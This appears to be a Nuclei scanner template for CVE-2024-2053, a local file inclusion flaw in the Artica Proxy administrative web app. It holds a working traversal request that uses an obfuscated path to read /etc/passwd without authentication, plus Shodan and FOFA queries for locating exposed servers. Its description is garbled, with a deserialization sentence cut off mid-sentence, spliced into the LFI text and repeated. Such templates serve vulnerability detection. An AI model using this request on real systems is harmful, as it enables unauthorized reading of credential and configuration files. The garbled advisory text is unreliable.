The Artica Proxy administrative web application will deserialize arbitrary PHP objects supplied by unauthenticated users and subsequently enable code execution as the "www-data" user. This issue was demonstrated on version 4.50 of the The Artica-Proxy administrative web application attempts to prevent local file inclusion. These protections can be bypassed and arbitrary file requests supplied by unauthenticated users will be returned according to the privileges of the "www-data" user.
PoC
id: CVE-2024-2053
info:
name: Artica Proxy - Unauthenticated LFI
author: pussycat0x
severity: high
description: |
The Artica Proxy administrative web application will deserialize arbitrary PHP objects supplied by unauthenticated users and subsequently enable code execution as the "www-data" user. This issue was demonstrated on version 4.50 of the The Artica-Proxy administrative web application attempts to prevent local file inclusion. These protections can be bypassed and arbitrary file requests supplied by unauthenticated users will be returned according to the privileges of the "www-data" user.
impact: |
Unauthenticated attackers can read arbitrary files on the server including configuration files with credentials and other sensitive data.
remediation: |
Update Artica Proxy to a version newer than 4.50.
reference:
- https://github.com/0xMarcio/cve/blob/main/2024/CVE-2024-2053.md#cve-2024-2053
- https://seclists.org/fulldisclosure/2024/Mar/11
- https://korelogic.com/Resources/Advisories/KL-001-2024-001.txt
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2024-2053
cwe-id: CWE-23
epss-score: 0.44579
epss-percentile: 0.98702
cpe: cpe:2.3:a:articatech:artica_proxy:4.40:*:*:*:*:*:*:*
metadata:
vendor: articatech
product: artica_proxy
shodan-query: http.html:"artica"
fofa-query: body="artica"
verified: true
max-request: 1
tags: cve,cve2024,lfi,artica-proxy,articatech,vuln,vkev
http:
- raw:
- |
GET /images.listener.php?uri=1&mailattach=..././..././..././..././..././epasswdtc/ppasswdasswd HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: word
part: body
words:
- "application/force-download"
- type: status
status:
- 200
# digest: 4a0a00473045022100abd05de52214bb75dcbd0c11c648aacf9de3eabe1d4cc7ba2be27f0fad4781460220337fcbe5deb83e6fb451651e5dc08ac897479569bab90411bdbb65b38e0f4a15:922c64590222798bb761d5b6d8e72950
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